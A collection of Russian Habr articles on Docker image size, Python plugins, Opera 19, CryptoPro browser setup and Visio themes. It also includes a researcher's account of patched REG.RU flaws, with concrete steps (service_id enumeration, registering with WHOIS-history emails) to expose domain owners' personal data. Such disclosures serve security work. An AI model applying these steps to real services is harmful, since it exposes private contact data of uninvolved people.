Прежде, чем мы перейдем к теме уменьшения ваших образов, нужно поговорить о слоях. Концепция слоев затрагивает различные низкоуровневые технические детали о вещах вроде корневой файловой системы (*rootfs*), механизма копирования при записи (*copy-on-write*) и каскадно-объединенного монтирования (*union mount*). К счастью, эта тема достаточно хорошо раскрыта в [другом месте](http://docs.docker.com/terms/layer/), поэтому я не буду пересказывать ее здесь. Для наших целей важным является понимание того, что каждая инструкция в Dockerfile приводит к созданию нового слоя образа.
Давайте взглянем на пример Dockerfile, чтобы увидеть это в действии:
```
FROM debian:wheezy
RUN mkdir /tmp/foo
RUN fallocate -l 1G /tmp/foo/bar
```
Совершенно бесполезный образ, но он поможет нам продемонстрировать сказанное. Здесь мы используем `debian:wheezy` в качестве базового образа, создаем директорию `/tmp/foo`, а в ней выделяем 1 Гб места под файл `bar`.
Соберем этот образ:
```
$ docker build -t sample .
Sending build context to Docker daemon 2.56 kB
Sending build context to Docker daemon
Step 0 : FROM debian:wheezy
---> e8d37d9e3476
Step 1 : RUN mkdir /tmp/foo
---> Running in 3d5d8b288cc2
---> 9876aa270471
Removing intermediate container 3d5d8b288cc2
Step 2 : RUN fallocate -l 1G /tmp/foo/bar
---> Running in 6c797329ee43
---> 3ebe08b36733
Removing intermediate container 6c797329ee43
Successfully built 3ebe08b36733
```
Если вы посмотрите на результат выполнения команды `docker build`, вы сможете увидеть что именно делает Docker, чтобы построить наш образ:
1. Используя значение инструкции `FROM`, Docker запускает контейнер на базе `debian:wheezy` образа (ID контейнера: `3d5d8b288cc2`)
2. Внутри этого контейнера Docker выполняет команду `mkdir /tmp/foo`
3. Контейнер остановлен, закоммичен (в результате создан новый образ с ID `9876aa270471`) и затем удален
4. Docker запускает другой контейнер, на этот раз из образа, сохраненного на предыдущем шаге (у этого контейнера ID `6c797329ee43`)
5. Внутри запущенного контейнера Docker выполняет команду `fallocate -l 1G /tmp/foo/bar`
6. Контейнер остановлен, закоммичен (в результате создан новый образ с ID `3ebe08b36733`) и затем удален
Мы можем увидеть конечный результат запустив команду `docker images --tree` (к сожалению, флаг `--tree` устарел и, скорее всего, будет удален в будущих релизах):
```
$ docker images --tree
Warning: '--tree' is deprecated, it will be removed soon. See usage.
└─511136ea3c5a Virtual Size: 0 B Tags: scratch:latest
└─59e359cb35ef Virtual Size: 85.18 MB
└─e8d37d9e3476 Virtual Size: 85.18 MB Tags: debian:wheezy
└─9876aa270471 Virtual Size: 85.18 MB
└─3ebe08b36733 Virtual Size: 1.159 GB Tags: sample:latest
```
Тут вы можете увидеть образ помеченный, как `debian:wheezy`, после которого идут два контейнера, о которых говорилось ранее (по одному на каждую инструкцию в Dockerfile).
Мы часто говорим о слоях и образах так, словно это разные вещи. Но, на самом деле, каждый слой — это уже образ, а слой образа — это просто коллекция других образов.
Так же, как мы выполним:
```
docker run -it sample:latest /bin/bash
```
Мы легко можем запустить один из неименованных слоев:
```
docker run -it 9876aa270471 /bin/bash
```
И тот и другой — образы, на основе которых могут быть запущены контейнеры. Разница только в том, что первый именован, а второй — нет. Такая возможность запуска контейнеров из любого слоя может оказаться весьма полезной при отладке вашего Dockerfile.
#### Размер образа
Зная, что образ — это не что иное, как коллекция других образов, можно прийти к очевидному выводу: размер образа равен сумме размеров образов, его составляющих.
Посмотрим на вывод команды `docker history`:
```
$ docker history sample
IMAGE CREATED CREATED BY SIZE
3ebe08b36733 3 minutes ago /bin/sh -c fallocate -l 1G /tmp/foo/bar 1.074 GB
9876aa270471 3 minutes ago /bin/sh -c mkdir /tmp/foo 0 B
e8d37d9e3476 4 days ago /bin/sh -c #(nop) CMD [/bin/bash] 0 B
59e359cb35ef 4 days ago /bin/sh -c #(nop) ADD file:1e2ba3d9379f 85.18 MB
511136ea3c5a 13 months ago 0 B
```
Мы можем увидеть все слои образа `sample` вместе с командами, которые привели к их созданию, и их размером (заметьте, что порядок слоев в `docker history` обратен порядку, отображаемому в `docker images --tree`).
Здесь только две инструкции, которые делают что-то значимое для нашего образа: инструкция `ADD` (наследуемая из `debian:wheezy`) и наша `fallocate` команда.
Давайте сохраним наш образ в tar-архив и посмотрим каков будет вес:
```
$ docker save sample > sample.tar
$ ls -lh sample.tar
-rw-r--r-- 1 core core 1.1G Jul 26 02:35 sample.tar
```
Когда образ сохраняется таким образом в tar-файл, туда также помещаются различные метаданные о каждом слое, поэтому конечный размер будет чуть больше суммы размеров всех слоев.
Добавим еще одну инструкцию в Dockerfile:
```
FROM debian:wheezy
RUN mkdir /tmp/foo
RUN fallocate -l 1G /tmp/foo/bar
RUN rm /tmp/foo/bar
```
Новая инструкция удалит файл сразу же после его создания `fallocate`.
Если мы выполним `docker build` для обновленного Dockerfile и посмотрим на историю снова, мы увидим следующее:
```
$ docker history sample
IMAGE CREATED CREATED BY SIZE
9d9bdb929b00 8 seconds ago /bin/sh -c rm /tmp/foo/bar 0 B
3ebe08b36733 24 minutes ago /bin/sh -c fallocate -l 1G /tmp/foo/bar 1.074 GB
9876aa270471 24 minutes ago /bin/sh -c mkdir /tmp/foo 0 B
e8d37d9e3476 4 days ago /bin/sh -c #(nop) CMD [/bin/bash] 0 B
59e359cb35ef 4 days ago /bin/sh -c #(nop) ADD file:1e2ba3d9379f 85.18 MB
511136ea3c5a 13 months ago 0 B
```
Заметьте, что вызов `rm` добавил новый слой (в 0 байт), но все остальное осталось по-прежнему. Если мы сохраним наш обновленный образ, то должны увидеть, что размер практически не изменился (будет небольшая разница из-за метаданных добавленного слоя):
```
$ docker save sample > sample.tar
$ ls -lh sample.tar
-rw-r--r-- 1 core core 1.1G Jul 26 02:55 sample.tar
```
Если бы мы вызвали `docker run` для этого образа и заглянули в директорию `/tmp/foo`, то обнаружили бы ее пустой (в конечном счете, файл был удален). Однако, так как наш Dockerfile сгенерировал слой, содержащий файл весом 1 Гб, тот стал неотъемлимой частью образа.
**Каждая дополнительная инструкция в вашем Dockerfile будет только увеличивать общий размер образа.**
Конечно, данный пример притянут за уши. Но понимание того факта, что образы являются суммами слоев, из которых они состоят, важно при поиске путей их уменьшения. Ниже я опишу несколько способов, позволяющих это сделать.
#### Выберите вашу основу
Довольно очевидный совет. Однако, выбор основы может существенно повлиять на конечный размер образа. Вот, например, список популярных базовых образов и их размеры:
```
$ docker images
REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE
scratch latest 511136ea3c5a 13 months ago 0 B
busybox latest a9eb17255234 7 weeks ago 2.433 MB
debian latest e8d37d9e3476 4 days ago 85.18 MB
ubuntu latest ba5877dc9bec 4 days ago 192.7 MB
centos latest 1a7dc42f78ba 2 weeks ago 236.4 MB
fedora latest 88b42ffd1f7c 10 days ago 373.7 MB
```
Мы в команде раньше использовали `ubuntu` в качестве основы — в основном, потому что большинство из нас уже были с ней знакомы. Однако, немного поиграв с `debian`, мы пришли к выводу, что он полностью удовлетворяет нашим потребностям и сохраняет при этом 100+ Мб места.
Список полезных баз может быть разным и зависит от ваших нужд, но вам точно стоит его проверить. Если вы используете Ubuntu, когда хватило бы и BusyBox, то вы напрасно тратите кучу места.
Хотелось бы, чтобы размер образов отображался в хранилище Docker. Но сейчас, к сожалению, чтобы узнать размер, образ нужно скачать.
#### Используйте вашу основу повторно
Одним из преимуществ слойного подхода является возможность повторного использования слоев между разными образами. В примере ниже показаны три образа, использующих `debian:wheezy` в качестве основы:
```
$ docker images --tree
Warning: '--tree' is deprecated, it will be removed soon. See usage.
└─511136ea3c5a Virtual Size: 0 B Tags: scratch:latest
└─e8d37d9e3476 Virtual Size: 85.18 MB Tags: debian:wheezy
├─22a0de5ea279 Virtual Size: 85.18 MB
│ └─057ac524d834 Virtual Size: 85.18 MB
│ └─bd30825f7522 Virtual Size: 106.2 MB Tags: creeper:latest
├─d689af903018 Virtual Size: 85.18 MB
│ └─bcf6f6a90302 Virtual Size: 85.18 MB
│ └─ffab3863d257 Virtual Size: 95.67 MB Tags: enderman:latest
└─9876aa270471 Virtual Size: 85.18 MB
└─3ebe08b36733 Virtual Size: 1.159 GB
└─9d9bdb929b00 Virtual Size: 1.159 GB Tags: sample:latest
```
Каждый из них надстраивается над `debian:wheezy`, но это не три копии Debian. Вместо копирования каждый образ содержит ссылку на экземпляр Debian-слоя (одна из причин, по которой мне нравится `docker images --tree`, в том, что она наглядно демонстрирует связи между различными слоями).
Это означает, что один раз скачав `debian:wheezy`, вам больше не придется тянуть эти слои снова, и каждый его бит, используемый в образах, будет занимать место лишь единожды.
Так что вы можете сохранить немалое количество места и интернет-траффика, используя общую базу для разных образов.
#### Группируйте ваши команды
В примере выше мы создаем файл, а затем сразу же его удаляем. Ситуация хоть и надуманная, но нечто похожее часто происходит при построении образов. Давайте посмотрим на что-то более реалистичное:
```
FROM debian:wheezy
WORKDIR /tmp
RUN wget -nv
RUN tar -xvf someutility-v1.0.0.tar.gz
RUN mv /tmp/someutility-v1.0.0/someutil /usr/bin/someutil
RUN rm -rf /tmp/someutility-v1.0.0
RUN rm /tmp/someutility-v1.0.0.tar.gz
```
Мы скачиваем tar-архив, распаковываем его, кое-что перемещаем и подчищаем за собой.
Как мы убедились ранее, каждая из этих инструкций создает отдельный слой. Несмотря на то, что мы удаляем архив и извлеченные файлы, они все равно остаются частью образа.
```
$ docker history some utility
IMAGE CREATED CREATED BY SIZE
33f4a99 16 seconds ago /bin/sh -c rm /tmp/someutility-v1.0.0.tar.gz 0 B
fec7b5e 17 seconds ago /bin/sh -c rm -rf /tmp/someutility-v1.0.0 0 B
0851974 18 seconds ago /bin/sh -c mv /tmp/someutility-v1.0.0/someuti 12.21 MB
5b6b996 19 seconds ago /bin/sh -c tar -xvf someutility-v1.0.0.tar.gz 99.91 MB
0eebad5 20 seconds ago /bin/sh -c wget -nv http://centurylinklabs.com 55.34 MB
d6798fc 8 minutes ago /bin/sh -c #(nop) WORKDIR /tmp 0 B
e8d37d9 5 days ago /bin/sh -c #(nop) CMD [/bin/bash] 0 B
59e359c 5 days ago /bin/sh -c #(nop) ADD file:1e2ba3d9379f7685a1 85.18 MB
511136e 13 months ago 0 B
```
Запуск `wget` приводит к появлению слоя размером 55 Мб, а распаковка архива к слою в 99 Мб. Нам не нужны эти файлы, а значит мы просто тратим 150+ Мб впустую.
Мы можем исправить это, проведя небольшой рефакторинг нашего Dockerfile:
```
FROM debian:wheezy
WORKDIR /tmp
RUN wget -nv && \
tar -xvf someutility-v1.0.0.tar.gz && \
mv /tmp/someutility-v1.0.0/someutil /usr/bin/someutil && \
rm -rf /tmp/someutility-v1.0.0 && \
rm /tmp/someutility-v1.0.0.tar.gz
```
Вместо запуска каждой команды в отдельной инструкции `RUN` мы сгруппировали их с помощью оператора `&&`. И хотя Dockerfile становится чуть менее читабельным, это позволяет нам удалить tar-архив и извлеченную директорию прежде, чем слой будет закоммичен.
Вот, что получилось в результате:
```
$ docker history some utility
IMAGE CREATED CREATED BY SIZE
8216b5f 7 seconds ago /bin/sh -c wget -nv http://centurylinklabs.com 12.21 MB
d6798fc 17 minutes ago /bin/sh -c #(nop) WORKDIR /tmp 0 B
e8d37d9 5 days ago /bin/sh -c #(nop) CMD [/bin/bash] 0 B
59e359c 5 days ago /bin/sh -c #(nop) ADD file:1e2ba3d9379f7685a1 85.18 MB
511136e 13 months ago 0 B
```
Заметьте, что в итоге мы получили такой же образ, при этом избавившись от нескольких лишних слоев и сохранив 150 Мб свободного пространства.
Я бы не советовал вам срочно пойти и переписать все команды в ваших Dockerfile в одну строчку. Однако, если вы замечаете, что где-то есть похожая ситуация, когда вы создаете, а потом удаляете файлы, то совмещение нескольких инструкций в одну поможет вам держать размер образа минимальным.
#### «Схлопывайте» ваши образы
Все вышеописаные стратегии исходят из предположения о том, что вы создаете свой собственный образ, или, хотя-бы, имеете доступ к Dockerfile. Однако, возможна ситуация, когда у вас есть образ, созданный кем-то другим, и вы хотите немного облегчить его.
В этом случае мы можем воспользоваться тем фактом, что создание контейнера приводит к слиянию всех слоев в один.
Давайте вернемся к нашему образу `sample` (тому, который с `fallocate` и `rm`) и запустим его:
```
$ docker run -d sample
7423d238b754e6a2c5294aab7b185f80be2457ee36de22795685b19ff1cf03ec
```
Так как наш образ, по сути, ничего не делает, он сразу же завершает работу. Это дает нам остановленный контейнер, который представляет из себя результат слияния всех слоев образа (я использовал флаг `-d` просто, чтобы отобразить ID контейнера).
Если мы экспортируем этот контейнер, перенаправив вывод в команду `docker import`, мы сможем превратить его обратно в образ:
```
$ docker export 7423d238b | docker import - sample:flat
3995a1f00b91efb016250ca6acc31aaf5d621c6adaf84664a66b7a4594f695eb
$ docker history sample:flat
IMAGE CREATED CREATED BY SIZE
3995a1f00b91 12 seconds ago 85.18 MB
```
Обратите внимание, что история для нашего нового образа `sample:flat` показывает только один слой весом 85 Мб, — слой, содержащий гигабайтный файл пропал.
И, хотя это довольной ловкий трюк, следует заметить, что у него есть существенные минусы:
* Сливая все слои вместе, вы теряете описанное ранее преимущество совместного использования слоев разными образами. Наш `sample:flat` образ сейчас содержит встроенную копию `debian:wheezy`.
* Все метаданные, обычно, сохраняемые вместе с образом, теряются в процессе запуска/эскпорта/импорта. Открываемые порты, переменные окружения, команда по умолчанию — все, что может быть объявлено в оригинальном образе, теряется.
Поэтому, я бы точно не советовал вам бросаться «схлопывать» все ваши образы. Но, иногда, это может быть полезным: в случае, если вы пытаетесь оптимизировать чужой образ, или просто хотите узнать насколько можно потеснить свои.
— *Источник: [Optimizing Docker Images](http://www.centurylinklabs.com/optimizing-docker-images/)* | https://habr.com/ru/post/234829/ | null | ru | null |
# Плагины в Python
Сегодня я расскажу, как построить плагиновую архитектуру в python на include'ах.
Наше приложение будет получать команды и раздавать их плагинам в надежде, что какой-нибудь плагин ее да и обработает
### Хитрый план
* При запуске сканируем папку с плагинами
* Импортируем все найденные файлы
* При получении команды отсылаем ее каждому плагину
### main.py
Здесь содержится только код «внешней» части примера, и комментировать его, надеюсь, не нужно.
> `Copy Source | Copy HTML1. import plugin
> 2.
> 3. plugin.LoadPlugins()
> 4.
> 5. s = ''
> 6.
> 7. while (s != 'exit'):
> 8. print '>',
> 9. s = **raw\_input**()
> 10. a = s.split(' ')
> 11.
> 12. for p in plugin.Plugins:
> 13. p.OnCommand(a[0], a[1:])
> 14.`
Весь код, относящийся к плагинам мы вынемем в plugin.py
### plugin.py
> `Copy Source | Copy HTML1. import os
> 2. import sys
> 3.
> 4. # Экземпляры загруженных плагинов
> 5. Plugins = []
> 6.
> 7. # Базовый класс плагина
> 8. class Plugin(object):
> 9. Name = 'undefined'
> 10.
> 11. # Методы обратной связи
> 12. def OnLoad(self):
> 13. pass
> 14.
> 15. def OnCommand(self, cmd, args):
> 16. pass
> 17.
> 18.
> 19. def LoadPlugins():
> 20. ss = **os**.listdir('plugins') # Получаем список плагинов в /plugins
> 21. **sys**.path.insert( 0, 'plugins') # Добавляем папку плагинов в $PATH, чтобы \_\_import\_\_ мог их загрузить
> 22.
> 23. for s in ss:
> 24. print 'Found plugin', s
> 25. **\_\_import\_\_**(**os**.path.splitext(s)[ 0], None, None, ['']) # Импортируем исходник плагина
> 26.
> 27. for plugin in Plugin.\_\_subclasses\_\_(): # так как Plugin произведен от object, мы используем \_\_subclasses\_\_, чтобы найти все плагины, произведенные от этого класса
> 28. p = plugin() # Создаем экземпляр
> 29. Plugins.append(p)
> 30. p.OnLoad() # Вызываем событие загруки этого плагина
> 31.
> 32. return
> 33.
> 34.`
### plugins/foo.py — пример плагина
> `Copy Source | Copy HTML1. from plugin import Plugin
> 2.
> 3. class HelloPlugin(Plugin): # производим наш плагин от родительского класса
> 4. Name = 'HelloPlugin v 1.0 Extreme Edition'
> 5.
> 6. # замещаем нужные методы
> 7. def OnLoad(self):
> 8. print 'HelloPlugin 1.0 Extreme VIP Edition Loaded!'
> 9.
> 10. def OnCommand(self, cmd, args):
> 11. if (cmd == 'hello' and **len**(args)> 0):
> 12. print 'It\'s', args[ 0], '!\nJeez, man, nice to meet you!'
> 13. return True
> 14. else:
> 15. return False
> 16.
> 17.`
Сейчас уже можно запустить пример:
> $ python main.py
>
> Found plugin foo.py
>
> HelloPlugin 1.0 Extreme VIP Edition Loaded!
>
> > hello %username%
>
> It's %username%!
>
> Jeez, man, nice to meet you!
>
> >
>
>
### plugins/shell.py — плагин посложнее
Сделаем плагин, который будет транслировать команды шеллу и возвращать вывод:
> `Copy Source | Copy HTML1. from plugin import Plugin
> 2. import commands
> 3.
> 4. class ShellPlugin(Plugin):
> 5. Name = 'Shell plugin'
> 6.
> 7. def OnLoad(self):
> 8. print 'Shell plugin loaded.'
> 9.
> 10. def OnCommand(self, cmd, args):
> 11. if (cmd == 'run'):
> 12. print **commands**.getoutput (" ".join(args))
> 13. return True
> 14. else:
> 15. return False
> 16.`
> $ python main.py
>
> Found plugin shell.py
>
> Found plugin foo.py
>
> Shell plugin loaded.
>
> HelloPlugin 1.0 Extreme VIP Edition Loaded!
>
> > run uname -r
>
> 2.6.31-14-generic
>
> > exit
>
>
Вот и все!
[Скачать исходный код](http://lmc-app.googlecode.com/files/plugins.tar.gz) | https://habr.com/ru/post/79513/ | null | ru | null |
# Новинки Opera 19 для разработчиков
Догоняя релиз [Opera 19 для Андроида](http://www.opera.com/mobile/android) на прошлой неделе, выходит [Opera 19 для Mac и Windows](http://www.opera.com/computer) (на основе Chromium 32). Дальше о том, что это значит для разработчиков.
#### Промисы в JavaScript
[Так называемые «промисы»](http://people.mozilla.org/~jorendorff/es6-draft.html#sec-promise-objects) (promises) теперь доступны в JavaScript. Промисы — это удобный способ получить доступ к результатам выполнения операций в JavaScript, будь они синхронные или асинхронные. Самый простой пример:
```
var promise = new Promise(function(resolve) {
setTimeout(function() {
resolve('The time machine worked!');
}, 2014); // see what I did there?
});
promise.then(function(result) {
console.log('Promise resolved.', result);
});
```
Джейк Арчибальд недавно написал [подробное введение в промисы](http://www.html5rocks.com/en/tutorials/es6/promises/), так что не пропустите, если у вас остались вопросы или стало интересно посмотреть на другие примеры.
#### Анимированные изображения в формате WebP
Формат WebP с поддержкой анимации — это отличная альтернатива GIF, которая даёт лучшее качество при меньшем весе. В Opera 19 поддержка анимированного WebP включена по умолчанию.
#### Высокопроизводительный 2D Canvas без прозрачности
Если вы используете Canvas и не изменяете альфа-прозрачность, у вас появилась возможность ускорить производительность. Чтобы включить эту возможность, достаточно передать второй параметр в метод `getContext`, который переключит значение `alpha` в `false` (по умолчанию это `true`).
```
var context = document.querySelector('canvas').getContext('2d', {
'alpha': false
});
```
#### Больше API для расширений
В Opera 19 для компьютеров появились следующие новые API для расширений:
* [chrome.fontSettings](http://dev.opera.com/extension-docs/fontSettings.html)
* [chrome.power](http://dev.opera.com/extension-docs/power.html)
См. подробнее в [документации по расширениям для Opera 15+](http://dev.opera.com/extension-docs/).
Если вам интересно посмотреть на другие возможности, запланированные для следующих релизов, мы рекомендуем установить сборку [Opera Developer](http://www.opera.com/developer), свежие релизы выйдут уже на днях.
[Подробный список изменений в Opera 19](http://blogs.opera.com/desktop/changelog19/). | https://habr.com/ru/post/210588/ | null | ru | null |
# Как уязвимость в REG.RU позволяла получить данные регистрации любого домена
Сегодня я хочу рассказать о том, как в далеком 2012 году я нашел уязвимость в системе регистрации доменов компании REG.RU. Очень часто я вижу истории, в которых авторы рассказывают об уязвимостях при этом упоминая, что компания не уделила найденному багу должного внимания в течение длительного времени или не исправила его вовсе. В моем случае все было ровно наоборот, и уязвимость была устранена очень оперативно.
[](https://habr.com/company/poiskvps/blog/429280)
В сентябре 2012 года [REG.RU](https://www.reg.ru) стали регистрировать домены в зоне **ru.com** и разослали всем своим клиентам письма с предложением бесплатно получить на первый год домен в новой зоне с именем уже зарегистрированного домена в зонах **ru**, **рф**, **su**, **com**, **net**.
Получить бесплатный домен оказалось довольно просто: нужно было перейти по ссылке из письма, ввести код активации домена, и домен бесплатно регистрировался на год.
Перед регистрацией домена система предлагала ознакомиться с контактными данными “оригинального” домена на которые будет зарегистрирован подарочный домен, но эти данные были открыты только для просмотра без возможности редактирования поэтому смысл их показа был непонятен. Однако, в этом и состоял первый баг: регистрация нового домена была доступна по ссылке вида `https://www.reg.ru/domain/new/get_free_ru_com?service_id=XXXX`, и ID услуги можно было просто перебрать, увидев, на кого зарегистрирован тот или иной домен.
Специалисты REG.RU сделали так, чтобы любые контакты показывались не полностью, а отображались только первые 7 символов каждого поля, что теоретически не должно было полностью раскрывать информацию о владельце домена, однако, например, мои имя и фамилия оказались длиной менее 7 символов и они показывались полностью. Ну и плюс ко всему, если показывать первые 7 символов имени, то очень часто можно догадаться какие символы нужно добавить, простой пример — “Vladimi”.
Этот баг поправили довольно быстро, и теперь система показывала только первые 4 символа, что было намного лучше, хотя человек с именем “Хан Соло” был бы не очень доволен.
Следующий баг — это возможность зарегистрировать домен без ввода кода активации. Чтобы все владельцы доменов разом не побежали регистрировать бесплатные домены, REG.RU решил отправлять письма не сразу, а в течение пары дней, таким образом нагрузка распределялась равномерно. С технической точки зрения все было примерно так: в базе данных в таблице с доменами создали новый столбец “Код авторизации” с пустым значением, и время от времени пользователям отправлялись письма с одновременным заполнением этого поля сгенерированным кодом. Простым перебором можно было пройти по ссылке вида `https://www.reg.ru/domain/new/get_free_ru_com?service_id=XXXX`, увеличив ID услуги до того значения, когда система еще не успела выдать такому домену код авторизации и зарегистрировать домен с пустым кодом.
В регистрации такого домена не было ничего плохого, но после регистрации становилось видно полные контактные данные (ФИО, адрес и телефон) владельца “оригинального” домена без скрытых символов. Исправить данный баг было несложно, просто добавив при регистрации проверку на непустой код авторизации, что специалисты REG.RU так же оперативно исправили.
Через некоторое время я нашел еще один баг, но он требовал чуть большего количества действий, чем просто перебор ID услуг. Для упрощения процедуры регистрации подарочных доменов REG.RU сделали возможность зарегистрировать домен без ввода кода авторизации из письма, если e-mail аккаунта в системе reg.ru совпадал с адресом электронной почты, указанным как контактный в оригинальном домене. Для пользователя это было довольно удобно, а вот в плане безопасности все было не так хорошо.
В 2012 году не было закона о защите персональных данных в текущей редакции, и у многих доменов в зоне **ru** можно было посмотреть контактный e-mail адрес через Whois. На момент нахождения этого бага адрес электронной почты уже был скрыт, но через сервисы просмотра истории Whois e-mail можно было посмотреть, и, с большой вероятностью, он был актуальным. После этого нужно было попробовать зарегистрироваться в системе REG.RU с этим адресом электронной почты и после этого без кода авторизации получить бесплатный домен, что в свою очередь открывало доступ к контактным данным оригинального домена.
Если быть кратким, то порядок действий такой:
1. Заходим на страницу вида `https://www.reg.ru/domain/new/get_free_ru_com?service_id=XXXX` и смотрим название домена с этим ID, например, **habr.ru.com**.
2. Через сервис просмотра истории Whois находим e-mail адрес для домена **habr.ru**.
3. С помощью этого адреса электронной почты создаем учетную запись в системе REG.RU (подтверждения владения e-mail адресом тогда не требовалось).
4. Без ввода кода подтверждения регистрируем домен **habr.ru.com** и видим полные контактные данные владельца **habr.ru**.
Ошибки, которые были допущены компанией REG.RU потенциально могли привести к утечке большого количества персональных данных владельцев доменов, но все баги были исправлены очень оперативно. С момента написания первого письма (а написал я его лично исполнительному директору REG.RU) и до исправления всех уязвимостей прошло меньше двух суток, что, на мой взгляд, довольно небольшой срок для компании таких размеров и сроками исправления уязвимостей у других корпораций.
> [](https://vps.today/)
>
> Заглядывайте на [VPS.today](https://vps.today/) — сайт для поиска виртуальных серверов. 1400 тарифов от 120 хостеров, удобный интерфейс и большое число критериев для поиска самого лучшего виртуального сервера.
>
>
>
> [](https://vps.today/) | https://habr.com/ru/post/429280/ | null | ru | null |
# Заходим в личный кабинет на zakupki.gov.ru без Internet Explorer и другие полезные советы при работе с КриптоПро
В этой заметке я постараюсь обобщить опыт использования криптопровайдера КриптоПро для доступа к закрытой части официального сайта единой информационной системы в сфере закупок (zakupki.gov.ru) и сайта госуслуг (gosuslugi.ru). Сам криптопровайтер стал уже стандартом де-факто для госучреждений, в его формате выдает ЭЦП, например, удостоверяющий центр (УЦ) Федерального казначейства или УЦ Минздрава.
В первую очередь речь пойдет о сайте zakupki.gov.ru. Личный кабинет этого сайта доступен только через HTTPS с использованием ГОСТ-алгоритмов шифрования. Долгое время HTTPS через ГОСТ работал только в Internet Explorer, который целиком полагался на криптопровайдер. Развязка наступила не так давно, когда на сайте zakupki.gov.ru была прекращена поддержка старых версий IE, в том числе — IE8. Беда в том, что IE8 — последняя версия этого браузера, поддерживаемая в Windows XP, а государственные учреждения, как правило, очень консервативны в плане лицензирования. Таким образом, довольно большая часть пользователей в одночасье оказалась “за бортом”.
К счастью, компания КриптоПро выпускает специальную сборку браузера Firefox под названием КриптоПро Fox (CryptoFox), которая поддерживает ГОСТ-алгоритмы и работает, естественно, только в связке с соответствующим криптопровайдером. Было время, когда разработка сборки почти полностью прекратилась, однако сейчас новые версии выходят регулярно. Последняя сборка основана на Firefox 45, Скачать сборки можно [тут](https://www.cryptopro.ru/products/cpfox), доступны версии под Windows, Linux и даже Apple OS X.
По ссылке доступна англоязычная версия браузера. Для ее локализации необходимо скачать [пакет](https://addons.mozilla.org/firefox/downloads/file/409013/russian_ru_language_pack-45.0-fx.xpi?src=version-history) с переводом интерфейса. Обратите внимание, что версия пакета должна соответствовать версии самого браузера.
После установки пакета нужно открыть новую вкладку, набрать там about:config, а в открывшемся списке параметров ввести general.useragent.locale и изменить его значение с en-US на ru-RU. После перезапуска браузера интерфейс будет на русском языке.
Теперь можно ставить в хранилище “Доверенные корневые центры сертификации” корневой [сертификат](http://zakupki.gov.ru/epz/main/public/document/view.html?sectionId=445&pageNo=1&categories=FZ44&_categories=on&categories=FZ223&_categories=on&categories=FZ94&_categories=on&categories=FZALL&_categories=on) УЦ Федерального казначейства, в хранилище “Личные” — персональный сертификат пользователя, перезапускать браузер и заходить в личный кабинет zakupki.gov.ru по 44-ФЗ.
На моем рабочем месте не установлено действующих сертификатов уполномоченных лиц, поэтому доступ в личный кабинет запрещен. Однако шифрование соединения в любом случае проводится алгоритмом семейства ГОСТ.
В случае доступа к закрытой части сайта по 223-ФЗ авторизация будет проходить через ЕСИА (то есть через сайт gosuslugi.ru). Здесь ситуация упрощается, потому что у этого сайта [плагин](https://ds-plugin.gosuslugi.ru/plugin/upload/Index.spr) для Firefox существует уже давно и разрабатывается Ростелекомом. При первом заходе на сайт нам будет предложено скачать плагин. После установки плагин следует переключить в режим “Всегда включать” в настройках CryptoFox, иначе на сайте госуслуг не будет появляться окно с запросом сертификата.
К сожалению, подпись документов на сайте zakupki.gov.ru реализована через специфичесий компонет sing.cab, который использует технологию ActiveX. Естественно, в CryptoPro этот компонент не будет работать, так что будем ждать перехода на более распространенную технологию. К счастью, подписание документа — это лишь малая часть того, что должен делать оператор во время работы на zakupki.gov.ru, так что для повседневных операций CryptoFox вполне можно использовать.
Иногда бывает необходимо сохранить копию закрытого ключа на локальном компьютере. Это возможно сделать, если ключ при создании в УЦ помечен как выгружаемый. Копирование производится с помощью кнопки “Скопировать” (какая неожиданность) в интерфейсе апплета КриптоПро
Если два варианта хранения ключа на локальной машине — в считывателе “Реестр” и на виртуальном съемном диске. В принципе, безопасность хранения ключа в обоих случаях примерно одинакова, так что выбор средства остается за читателем.
В считывателе “Реестр” ключи хранятся в ветви
`HKLM\SOFTWARE\Crypto Pro\Settings\Users\[SID пользователя]\Keys`
для пользователя и в ветви
`HKLM\SOFTWARE\Crypto Pro\Settings\Keys`
для компьютера в целом.
В случае 64-битной ОС пути будут немного другими:
`HKLM\SOFTWARE\Wow6432Node\Crypto Pro\Settings\Users\[SID пользователя]\Keys`
и
`HKLM\SOFTWARE\Wow6432Node\Crypto Pro\Settings\Keys`
При работе КриптоПро на терминальном сервере у пользователя может не хватить прав на запись ключа в эти ветви, поскольку они находятся не в профиле пользователя. Эту ситуацию можно исправить назначением соответствующих прав на ветви через утилиту Regedit.
КриптоПро ищет контейнеры ключей на дисках, которые имеют атрибут “съемный”, то есть флеш-диск или, прости господи, дискета будут считаться контейнерами ключей, а сетевой диск или диск, проброшенный через RDP — нет. Это позволяет хранить ключи на образах дискет по принципу один ключ — одна дискета и тем самым повысить безопасность. Для создания виртуального дисковода можно применить утилиту [ImDisk](http://www.ltr-data.se/opencode.html), у которой есть версия и под 64-битные ОС. Заявляется совместимость с Windows вплоть до 8.1, нормально работает и в Windows 10.
Существует еще утилита [Virtual Floppy Drive (VFD)](https://sourceforge.net/projects/vfd), в которой можно создавать дисковод, видимый только конкретным пользователем. К сожалению, она давно не развивается, и, кажется не будет работать на 64-битных ОС из-за неподписанного драйвера.
Применяя эти советы и не забывая о [Положении ПКЗ-2005](https://rg.ru/2005/03/19/kriptozaschita-dok.html), которое, впрочем, носит рекомендательный характер, можно несколько облегчить жизнь как операторам, работающим на сайтах закупок, так и себе. | https://habr.com/ru/post/326718/ | null | ru | null |
# Как бороться с «темами» в документе MS Visio
Суть проблемы
-------------
В MS Visio начиная с версии 2007 появилась возможность называемая «[темы](https://learn.microsoft.com/ru-ru/archive/blogs/visio_ru/60)» (со слов разработчиков она предназначена «для придания схеме профессионального вида»)…
> As we started working on the new version of Visio, we heard from you that it should be super-easy and fast to create professional looking [diagrams](https://www.microsoft.com/en-us/microsoft-365/blog/2012/07/25/create-professional-diagrams-quickly-with-the-new-visio/) in Visio. To help achieve this goal, we redesigned our themes, and created new formatting options and effects that can be quickly accessed using themes. Each theme also comes with four unique variants, giving you more flexibility to fine-tune your diagrams. If you want even more control, a set of styles is provided for each theme, allowing you to format any individual shape, using professionally designed styles and colors.
>
>
Мне по долгу службы часто приходится бороться с подобным «профессиональным видом». Дело в том, что мне приходится разрабатывать техническую документацию. Преимущественно рабочую документацию, где подобное «буйство красок» не приветствуется!
Рис. 1 - Проявления темИз-за влияния тем могут измениться используемые шрифты, цвета линий и шрифта, заливка фигур, добавиться эффект «отражения» и тому подобные неожиданные явления!
Почему это случается ?
